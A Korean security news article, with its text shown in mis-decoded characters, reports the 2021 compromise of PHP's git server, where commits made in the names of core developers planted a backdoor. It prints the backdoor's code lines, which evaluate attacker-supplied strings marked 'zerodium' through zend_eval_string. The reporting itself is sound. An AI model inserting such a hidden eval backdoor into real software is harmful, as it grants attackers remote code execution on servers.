Home > Àüü±â»ç

¶Ç ´Ù¸¥ ´ëÇü °ø±Þ¸Á °ø°Ý µÉ »·ÇÑ PHP ±ê ¼­¹ö ħÇØ »ç°Ç

ÀÔ·Â : 2021-03-30 11:21
ÆäÀ̽ººÏ º¸³»±â Æ®À§ÅÍ º¸³»±â ³×À̹ö ¹êµå º¸³»±â Ä«Ä«¿À ½ºÅ丮 º¸³»±â ³×À̹ö ºí·Î±× º¸³»±â
³Î¸® »ç¿ëµÇ´Â ÇÁ·Î±×·¡¹Ö ¾ð¾îÀÎ PHPÀÇ ±ê ¼­¹ö¿¡ ´©±º°¡ ħÅõÇß´Ù. ±×¸®°í ¾Ç¼º ¹éµµ¾î¸¦ ½É¾î¼­ PHP °³¹ßÀÚµéÀÌ ¾Ç¼º ¼­ºñ½º ¹× ¾ÛÀ» °³¹ßÇϵµ·Ï À¯µµÇß´Ù. ´ÙÇàÈ÷ À绡¸® ¹ß°ßµÇ¾î Á¶Ä¡°¡ ÃëÇØÁ³Áö¸¸ ¾ÆÁ÷ »ç°Ç¿¡ ´ëÇØ ÀÚ¼¼È÷ ¹àÇôÁø ³»¿ëÀº ¾ø´Ù. PHP´Â ¼­¹ö¸¦ ±êÇãºê·Î ¿Å°å´Ù.

[º¸¾È´º½º ¹®°¡¿ë ±âÀÚ] PHPÀÇ °ø½Ä ±ê ¼­¹ö°¡ ÇØÅ·´çÇß´Ù. Á¤Ã¼¸¦ ¾Ë ¼ö ¾ø´Â °ø°ÝÀÚµéÀÌ ¼­¼­¹ö¿¡ ħÅõÇÑ µÚ ÄÚµå º£À̽º¿¡ ¹éµµ¾î¸¦ ½É¾îµÐ °ÍÀÌ ¹ß°ßµÈ °ÍÀÌ´Ù. ÀÌ ¶§¹®¿¡ PHP·Î ¸¸µé¾îÁø ¸ðµç ¾ÖÇø®ÄÉÀ̼ǵéÀÌ °¨¿°µÇ´Â ÃÊÀ¯ÀÇ »çÅ°¡ ¹ß»ýÇÒ »·Çß´Ù.

[À̹ÌÁö = utoimage]


°ø°ÝÀÌ ¹ß»ýÇÑ °Ç ÁÖ¸» µ¿¾ÈÀÇ ÀÏÀÌ´Ù. php-src ¸®Æ÷ÁöÅ͸®¿¡ µÎ °³ÀÇ ¾Ç¼º Ä¿¹Ô(commit)ÀÌ »ðÀԵǾú´Âµ¥, »ðÀÔÀÚÀÇ °èÁ¤Àº PHPÀÇ À¯¸í °³¹ßÀÚµéÀÎ ´ÏŰŸ Æ÷Æ÷ºê(Nikita Popov)¿Í ¶ó½º¹«½º ·¹¸£µµÇÁ(Rasmus Lerdorf)ÀÇ °ÍÀ̾ú´Ù. ÀÌ Ä¿¹ÔµéÀº ¼Ò±Ô¸ð ŸÀÌÆ÷±×·¡ÇÇ ¿À·ù ¼öÁ¤À» À§ÇÑ °Íó·³ À§ÀåµÇ¾î ÀÖ¾úÁö¸¸ ½Ç»óÀº ¿ø°Ý ÄÚµå ½ÇÇàÀ» °¡´ÉÄÉ ÇØ ÁÖ´Â ¹éµµ¾î¿´´Ù°í ÇÑ´Ù.

Æ÷Æ÷ºê´Â ÁÖ¸» µ¿¾È ºí·Î±× °Ô½Ã±ÛÀ» ÅëÇØ PHP ¼­¹ö°¡ ħÇصǾú´Ù´Â Áõ°Å°¡ ³ªÅ¸³ª°í ÀÖ´Ù°í ¾Ë·È´Ù. ¡°¾î¶»°Ô µÈ ÀÏÀÎÁö´Â ¾ÆÁ÷ Á¤È®È÷ ¾Ë ¼ö´Â ¾øÀ¸³ª git.php.net ¼­¹ö°¡ ´©±º°¡¿¡°Ô ħÇصƴٴ »ç½ÇÀÌ Á¡Á¡ µå·¯³ª°í ÀÖ½À´Ï´Ù. °³ÀÎÀÇ ±ê °èÁ¤ÀÌ Ä§ÇØµÈ ¼öÁØÀÇ ÀÏÀÌ ¾Æ´Ñ °ÍÀ¸·Î º¸ÀÔ´Ï´Ù.¡±

¾ÆÁ÷ Á¶»ç°¡ ÁøÇà ÁßÀÌ°í, µû¶ó¼­ »ç°ÇÀÇ ±Ô¸ð¿Í ¹èÈÄ ¼¼·Â¿¡ ´ëÇؼ­ Á¤È®È÷ ¾Ë·ÁÁöÁö ¾Ê°í ÀÖÁö¸¸ PHP ÃøÀº Áß¿äÇÑ °á´ÜÀ» ÀÌ¹Ì ³»¸° °ÍÀ¸·Î º¸ÀδÙ. Æ÷Æ÷ºê´Â ºí·Î±×¸¦ ÅëÇØ ¡°±ê¿¡´Ù ÀÎÇÁ¶ó¸¦ À¯ÁöÇÏ´Â °ÍÀÌ ºÒÇÊ¿äÇÑ À§Çè °¨¼ö·Î º¸Àδ١±¸ç ¡°git.php.net ¼­¹öÀÇ ¼­ºñ½º¸¦ ÁߴܽÃÅ°°í ¸ðµç Äڵ带 ±êÇãºê¿¡ °ð¹Ù·Î ¾÷·ÎµåÇÒ °Í¡±À̶ó°í ¹ßÇ¥Çß´Ù. ¿©Å±îÁö ±êÇãºê´Â ¡®¹Ì·¯ ¼­¹ö¡¯·Î¼­¸¸ À¯ÁöµÇ¾î ¿Ô¾ú´Ù. ÇÏÁö¸¸ ÀÌÁ¦ºÎÅÍ´Â PHP »ýÅ°èÀÇ Áß¿ä °ÅÁ¡ÀÌ´Ù.

¾Ç¼º Äڵ尡 °ø½Ä ±ê ¼­¹ö¿¡ »ðÀԵǾú´Ù´Â °É ¾Ë¸° °Ç ¿©·¯ °³¹ßÀÚµé·Î, µÎ °¡Áö ¾Ç¼º Ä¿¹Ô¿¡¼­´Â ´ÙÀ½°ú °°Àº µ¿ÀÏÇÑ ÄÚµå ÇàÀÌ ¹ß°ßµÆ´Ù.
convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");


Äڵ忡 µîÀåÇÏ´Â ¡®Á¦·Îµð¿ò(Zerodium)¡¯Àº À¯¸í º¸¾È ¾÷ü·Î, Á¦·Îµ¥ÀÌ Ãë¾àÁ¡ ÀͽºÇ÷ÎÀÕÀ» »çµé¿© Á¤ºÎ °í°´µé¿¡°Ô µÇÆÄ´Â »ç¾÷À» ÇÑ´Ù. ÇÏÁö¸¸ ÀÌ Äڵ忡 Á¦·Îµð¿òÀÌ ¾ð±ÞµÈ ÀÌÀ¯´Â ¾ÆÁ÷ ºÐ¸íÇÏÁö ¾Ê°í, Á¦·Îµð¿òÀÇ CEOÀÎ »þ¿ìÅ° º£Å©¶ó(Chauki Bekrar)´Â ¡°À̹ø »ç°Ç°ú Á¦·Îµð¿òÀÎ ¹«°üÇÏ´Ù¡±°í °ø½Ä ¹ßÇ¥Çß´Ù. ±×·¯¸é¼­ ¡°´©±º°¡ Á¦·Îµð¿ò¿¡ ´©¸íÀ» ¾º¿ì·Á°í ½ÃµµÇÑ °ÍÀ¸·Î º¸Àδ١±°í ÇظíÇß´Ù.

À̹ø »ç°ÇÀº ÃÖ±Ù À¯ÇàÇÏ°í ÀÖ´Â ¡®°ø±Þ¸Á °ø°Ý¡¯ÀÇ ¶Ç ´Ù¸¥ ½Ãµµ·Î ºÐ¼®µÇ°í ÀÖ´Ù. PHPÀÇ Äڵ尡 Á¦°øµÇ´Â ¼­¹ö¿¡ °¨¿°µÈ Äڵ带 ½É¾îµÒÀ¸·Î½á, °³¹ßÀÚµéÀÌ ÀÌ ¼­¹ö·ÎºÎÅÍ Äڵ带 °¡Á®´Ù ¾µ ¶§ ÀÚµ¿À¸·Î °¨¿°µÈ ¾ÖÇø®ÄÉÀ̼ǰú ¼­ºñ½º°¡ »ý¼ºµÇµµ·Ï ´©±º°¡ À¯µµÇ߱⠶§¹®ÀÌ´Ù. ´©±º°¡ °¨¿°µÈ ÄÚµå·Î À¥»çÀÌÆ®¸¦ ¸¸µé¾ú´Ù¸é, °ø°ÝÀÚµéÀº ¹éµµ¾î¸¦ ÅëÇØ Ä§ÅõÇØ ¾Ç¼º Äڵ带 ¿øÇÏ´Â ´ë·Î ½Ç½ÃÇÒ ¼ö ÀÖ¾ú´Ù.

PHPÀÇ ÀÎÇÁ¶ó¸¦ °ø·«ÇÏ´Â °ø±Þ¸Á °ø°Ý ½Ãµµ´Â 2019³â¿¡µµ ¹ß»ýÇÑ ¹Ù ÀÖ´Ù. 2019³â ÃÊ ³Î¸® »ç¿ëµÇ°í ÀÖ´Â PHP È®Àå ÇÁ·Î±×·¥ ¹× ¾ÖÇø®ÄÉÀÌ¼Ç ¸®Æ÷ÁöÅ͸®(PHP Extension and Application Repository)ÀÇ ÆÐÅ°Áö °ü¸®ÀÚ¿¡ ´©±º°¡ ¾Ç¼º Äڵ带 »ðÀÔÇß¾ú´Ù. ¶§¹®¿¡ PHP ÃøÀº ¸ðµç À¥ ÆäÀÌÁöµéÀ» ÀϽÃÀûÀ¸·Î Æó¼â½ÃÄѾ߸¸ Çß´Ù. ±×·¯¸é¼­ ´ç½Ã ±âÁØ 6°³¿ù ³»¿¡ ÇØ´ç ÆÐÅ°Áö¸¦ ´Ù¿î·Îµå ¹Þ¾Ò´Ü ¸ðµç °³¹ßÀڵ鿡°Ô ¡®»õ ÆÐÅ°Áö¸¦ ´Ù¿î·Îµå ¹ÞÀ¸¶ó¡¯´Â °æ°í¸¦ º¸³»±âµµ Çß¾ú´Ù.

3ÁÙ ¿ä¾à
1. PHPÀÇ ÁÖ¿ä ÀÎÇÁ¶ó¿´´ø °ø½Ä ±ê ¼­¹ö¿¡¼­ ħÇØ »ç°ÇÀÌ ¹ß»ýÇÔ.
2. ´©±º°¡ À¯¸í °³¹ßÀÚµéÀÇ °èÁ¤À¸·Î ¾Ç¼º ¹éµµ¾î¸¦ ½É¾îµÎ·Á°í Çß¾úÀ½.
3. ÀÌ ¶§¹®¿¡ PHP´Â ÀÌÁ¦ ÁÖ¿ä Äڵ带 ±êÀÌ ¾Æ´Ï¶ó ±êÇãºê·Î ¿Å±ä´Ù°í ¹ßÇ¥.

[±¹Á¦ºÎ ¹®°¡¿ë ±âÀÚ(globoan@boannews.com)]

<ÀúÀÛ±ÇÀÚ: º¸¾È´º½º(www.boannews.com) ¹«´ÜÀüÀç-Àç¹èÆ÷±ÝÁö>

  •  
  • 0
  • ÆäÀ̽ººÏ º¸³»±â Æ®À§ÅÍ º¸³»±â ³×À̹ö ¹êµå º¸³»±â Ä«Ä«¿À ½ºÅ丮 º¸³»±â ³×À̹ö ºí·Î±× º¸³»±â

  • ¡°
  •  SNS¿¡¼­µµ º¸¾È´º½º¸¦ ¹Þ¾Æº¸¼¼¿ä!! 
  • ¡±
¾Æ½ºÆ®·Ð½ÃÅ¥¸®Æ¼ ÆÄ¿öºñÁî 2023³â2¿ù23ÀÏ ½ÃÀÛ ³Ý¾Øµå ÆÄ¿öºñÁî ÁøÇà 2020³â1¿ù8ÀÏ ½ÃÀÛ~2021³â 1¿ù8ÀϱîÁö À§Áîµð¿£¿¡½º 2018
¼³¹®Á¶»ç
³»³â ȸ»ç¿¡ ²À µµÀÔÇÏ°í ½ÍÀº º¸¾È ¼Ö·ç¼Ç ¶Ç´Â Ç÷§ÆûÀº ¹«¾ùÀΰ¡¿ä?
XDR
EDR
AI º¸¾È
Á¦·ÎÆ®·¯½ºÆ®
°ø±Þ¸Á º¸¾È ü°è(SBOM)
Ŭ¶ó¿ìµå º¸¾È ¼Ö·ç¼Ç
±âŸ(´ñ±Û·Î)